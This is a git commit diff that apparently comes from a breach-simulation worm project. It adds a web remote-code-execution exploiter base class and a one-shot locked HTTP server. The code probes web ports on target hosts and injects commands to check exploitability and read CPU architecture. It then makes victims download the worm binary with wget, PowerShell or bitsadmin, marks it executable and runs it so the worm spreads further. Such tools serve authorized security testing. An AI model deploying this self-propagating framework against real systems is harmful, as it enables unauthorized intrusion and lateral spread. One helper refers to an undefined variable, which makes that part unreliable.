Web RCE framework core files/changes

This commit is contained in:
Vakaris 2018-07-19 12:33:44 +03:00
parent 3e1edeac61
commit 68d949c655
5 changed files with 425 additions and 9 deletions

View File

@ -21,7 +21,7 @@ import monkeyfs
from network import local_ips
from network.firewall import app as firewall
from network.info import get_free_tcp_port, get_routes
from transport import HTTPServer
from transport import HTTPServer, LockedHTTPServer
class DceRpcException(Exception):
@ -386,6 +386,23 @@ class HTTPTools(object):
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
@staticmethod
def create_locked_transfer(host, src_path, lock, local_ip=None, local_port=None):
if not local_port:
local_port = get_free_tcp_port()
if not local_ip:
local_ip = get_interface_to_target(host.ip_addr)
if not firewall.listen_allowed():
return None, None
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
httpd.daemon = True
httpd.start()
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
def get_interface_to_target(dst):
if sys.platform == "win32":

View File

@ -0,0 +1,362 @@
import logging
from threading import Lock
from exploit import HostExploiter
from model import *
from posixpath import join
import re
from abc import abstractmethod
from exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from network.tools import check_tcp_port
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
LOCK = Lock()
class WebRCE(HostExploiter):
def __init__(self, host):
super(WebRCE, self).__init__(host)
self._config = __import__('config').WormConfiguration
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist
@abstractmethod
def exploit_host(self):
raise NotImplementedError()
@abstractmethod
def exploit(self, url, command):
"""
A reference to a method which implements web exploit logic.
:param url: Url where to send maliciuos packet
:param command: Command which will be executed on remote host
:return: Command's output string. Or True/False if it's a blind exploit
"""
raise NotImplementedError()
@staticmethod
def get_open_service_ports(host, port_list, names):
"""
:param host: Host machine we are dealing with
:param port_list: Potential ports to exploit. For example _config.HTTP_PORTS
:param names: [] of service names. Example: ["http"]
:return: Returns all open ports from port list that are of service names
"""
candidate_services = {}
for name in names:
chosen_services = {
service: host.services[service] for service in host.services if
('name' in host.services[service]) and (host.services[service]['name'] == name)
}
candidate_services.update(chosen_services)
valid_ports = [(port, candidate_services['tcp-' + str(port)]['data'][1]) for port in port_list if
'tcp-' + str(port) in candidate_services]
return valid_ports
@staticmethod
def check_if_port_open(host, port):
is_open, _ = check_tcp_port(host.ip_addr, port)
if not is_open:
LOG.info("Port %s is closed on %r, skipping", port, host)
return False
return True
@staticmethod
def check_if_exploitable(exploiter, url):
try:
resp = exploiter(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False
@staticmethod
def build_potential_urls(host, ports, extensions=None):
"""
:param host: Domain part of url, for example ip of host
:param ports: Array [ port.nr, isHTTPS? ]
:param extensions: What subdirectories to scan. www.domain.com[/extension]
:return: Array of url's to try and attack
"""
url_list = []
if extensions is None:
for port in ports:
if port[1]:
url_list.append(("https://%s:%s" % (host.ip_addr, port[0])))
else:
url_list.append(("http://%s:%s" % (host.ip_addr, port[0])))
else:
# We parse extensions not to start with /
for idx, extension in enumerate(extensions):
if '/' in extension[0]:
extensions[idx] = extension[1:]
for port in ports:
for extension in extensions:
if port[1]:
url_list.append(join(("https://%s:%s" % (host.ip_addr, port[0])), extension))
else:
url_list.append(join(("http://%s:%s" % (host.ip_addr, port[0])), extension))
if not url_list:
LOG.info("No attack url's were built")
return url_list
@staticmethod
def get_host_arch(host, exploiter, url):
"""
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
"""
if 'linux' in host.os['type']:
resp = exploiter(url, ARCH_LINUX)
if resp:
# Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
arch = arch.group(1)
if arch:
return arch
else:
LOG.info("Could not pull machine architecture string from command's output")
return False
else:
return False
else:
resp = exploiter(url, ARCH_WINDOWS)
if resp:
if "64-bit" in resp:
return "64"
else:
return "32"
else:
return False
@staticmethod
def check_remote_file(exploiter, url, path):
command = EXISTS % path
resp = exploiter(url, command)
if 'No such file' in resp:
return False
else:
LOG.info("Host %s was already infected under the current configuration, done" % host)
return True
@staticmethod
def check_remote_files(host, exploiter, url, config):
"""
Checks if any monkey files are present on remote host
:param host: Host parameter
:param exploiter: Function with exploit logic. exploiter(url, command)
:param url: Url for exploiter to use
:param config: Monkey config from which paths are taken
:return: True if at least one file is found, False otherwise
"""
paths = []
if 'linux' in host.os['type']:
paths.append(config.dropper_target_path_linux)
else:
paths.append(config.dropper_target_path_win_32)
paths.append(config.dropper_target_path_win_64)
for path in paths:
if WebRCE.check_remote_file(exploiter, url, path):
return True
return False
@staticmethod
def get_monkey_dest_path(config, src_path):
"""
Gets destination path from source path.
:param config: monkey configuration
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration
"""
if not src_path or ('linux' not in src_path and 'windows' not in src_path):
LOG.error("Can't get destination path because source path %s is invalid.", src_path)
return False
try:
if 'linux' in src_path:
return config.dropper_target_path_linux
elif "windows-32" in src_path:
return config.dropper_target_path_win_32
else:
return config.dropper_target_path_win_64
except AttributeError:
LOG.error("Seems like configuration properties names changed. "
"Can not get destination path to upload monkey")
return False
# Wrapped functions:
@staticmethod
def get_ports_w(host, ports, names, log_msg=None):
ports = WebRCE.get_open_service_ports(host, ports, names)
if not ports and not log_msg:
LOG.info("All default web ports are closed on %r, skipping", host)
return False
elif not ports and log_msg:
LOG.info(log_msg)
return False
else:
return ports
@staticmethod
def set_host_arch(host, exploiter, url):
arch = WebRCE.get_host_arch(host, exploiter, url)
if not arch:
LOG.error("Couldn't get host machine's architecture")
return False
else:
host.os['machine'] = arch
return True
@staticmethod
def upload_monkey(host, config, exploiter, url, commands=None):
"""
:param host: Where we are trying to upload
:param exploiter:exploiter(url, command) Method that implements web RCE
:param config: Monkey config, to get the path where to place uploaded monkey
:param url: Where exploiter should send it's request
:param commands: Unformatted dict with one or two commands {'linux': LIN_CMD, 'windows': WIN_CMD}
Command must have "monkey_path" and "http_path" format parameters.
:return: {'response': response/False, 'path': monkeys_path_in_host}
"""
LOG.info("Trying to upload monkey to the host.")
src_path = get_target_monkey(host)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", host)
return False
# Determine which destination path to use
LOG.debug("Monkey path found")
path = WebRCE.get_monkey_dest_path(config, src_path)
if not path:
return False
# To avoid race conditions we pass a locked lock to http servers thread
LOCK.acquire()
# Create server for http download and wait for it's startup.
http_path, http_thread = HTTPTools.create_locked_transfer(host, src_path, LOCK)
LOCK.acquire()
if not http_path:
LOG.debug("Exploiter failed, http transfer creation failed.")
return False
LOG.info("Started http server on %s", http_path)
if not host.os['type']:
LOG.error("Unknown target's os type. Skipping.")
return False
if 'linux' in host.os['type']:
if not commands:
command = WGET_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
else:
try:
command = commands['linux'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit linux host, but linux command is missing/bad! "
"Check upload_monkey function docs.")
return False
else:
if not commands:
command = POWERSHELL_HTTP_UPLOAD % {'monkey_path': path, 'http_path': http_path}
else:
try:
command = commands['windows'] % {'monkey_path': path, 'http_path': http_path}
except KeyError:
LOG.error("Trying to exploit windows host, but windows command is missing/bad! "
"Check upload_monkey function docs.")
return False
resp = exploiter(url, command)
if not isinstance(resp, bool) and 'owershell is not recognized' in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path}
resp = exploiter(url, backup_command)
LOCK.release()
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
LOG.info("Uploading proccess finished")
return {'response': resp, 'path': path}
@staticmethod
def change_permissions(host, url, exploiter, path, command=None):
"""
Method for linux hosts. Makes monkey executable
:param host: Host info
:param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host
:param command: Formatted command for permission change or None
:return: response, False if failed and True if permission change is not needed
"""
LOG.info("Changing monkey's permissions")
if 'windows' in host.os['type']:
LOG.info("Permission change not required for windows")
return True
if not command:
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = exploiter(url, command)
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
return False
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Permission change finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'Operation not permitted' in resp:
LOG.error("Missing permissions to make monkey executable")
return False
elif 'No such file or directory' in resp:
LOG.error("Could not change persmission because monkey was not found. Check path parameter.")
return False
LOG.info("Permission change finished")
return resp
@staticmethod
def execute_remote_monkey(host, url, exploiter, path, dropper=False):
"""
This method executes remote monkey
:param host: Host info
:param url: Where to send malicious packets
:param exploiter: exploiter(url, command) Method that implements web RCE.
:param path: Path to monkey on remote host
:param dropper: Should remote monkey be executed with dropper or with monkey arg?
:return: Response or False if failed
"""
LOG.info("Trying to execute remote monkey")
# Get monkey command line
if dropper and path:
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1, path)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
else:
monkey_cmd = build_monkey_commandline(host, get_monkey_depth() - 1)
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
try:
resp = exploiter(url, command)
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
LOG.error("Wrong path chosen or other process already deleted monkey")
return False
elif 'The system cannot execute' in resp:
LOG.error("System could not execute monkey")
return False
except Exception as e:
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
return resp

View File

@ -17,13 +17,19 @@ RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObje
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
# Commands used for downloading monkeys
POWERSHELL_HTTP = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%%(http_path)s\\\' -OutFile \\\'%%(monkey_path)s\\\' -UseBasicParsing; %%(monkey_path)s %s %%(parameters)s\"" % (DROPPER_ARG, )
WGET_HTTP = "wget -O %%(monkey_path)s %%(http_path)s && chmod +x %%(monkey_path)s && %%(monkey_path)s %s %%(parameters)s" % (DROPPER_ARG, )
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %%(type)s %%(parameters)s'
POWERSHELL_HTTP_UPLOAD = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \\\'%(http_path)s\\\' -OutFile \\\'%(monkey_path)s\\\' -UseBasicParsing\""
POWERSHELL_HTTP_UPLOAD_NOT_ESCAPED = "powershell -NoLogo -Command \"Invoke-WebRequest -Uri \'%(http_path)s\' -OutFile \'%(monkey_path)s\' -UseBasicParsing\""
WGET_HTTP_UPLOAD = "wget -O %(monkey_path)s %(http_path)s"
RDP_CMDLINE_HTTP = 'bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s'
CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_WINDOWS = "echo %s && wmic os get osarchitecture" % ID_STRING
CHECK_LINUX = "echo %s && lscpu" % ID_STRING
CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands
ARCH_WINDOWS = "wmic os get osarchitecture"
ARCH_LINUX = "lscpu"
# Commands used to check if monkeys already exists
EXISTS = "ls %s"
DOWNLOAD_TIMEOUT = 300

View File

@ -1,3 +1,3 @@
from http import HTTPServer
from http import HTTPServer, LockedHTTPServer
__author__ = 'hoffer'

View File

@ -6,6 +6,7 @@ import threading
import urllib
from logging import getLogger
from urlparse import urlsplit
from threading import Lock
import monkeyfs
from base import TransportProxyBase, update_last_serve_time
@ -182,6 +183,36 @@ class HTTPServer(threading.Thread):
self._stopped = True
self.join(timeout)
class LockedHTTPServer(threading.Thread):
def __init__(self, local_ip, local_port, filename, lock, max_downloads=1):
self._local_ip = local_ip
self._local_port = local_port
self._filename = filename
self.max_downloads = max_downloads
self.downloads = 0
self._stopped = False
self.lock = lock
threading.Thread.__init__(self)
def run(self):
class TempHandler(FileServHTTPRequestHandler):
filename = self._filename
@staticmethod
def report_download(dest=None):
LOG.info('File downloaded from (%s,%s)' % (dest[0], dest[1]))
self.downloads += 1
httpd = BaseHTTPServer.HTTPServer((self._local_ip, self._local_port), TempHandler)
self.lock.release()
while not self._stopped and self.downloads < self.max_downloads:
httpd.handle_request()
self._stopped = True
def stop(self, timeout=60):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase):
def run(self):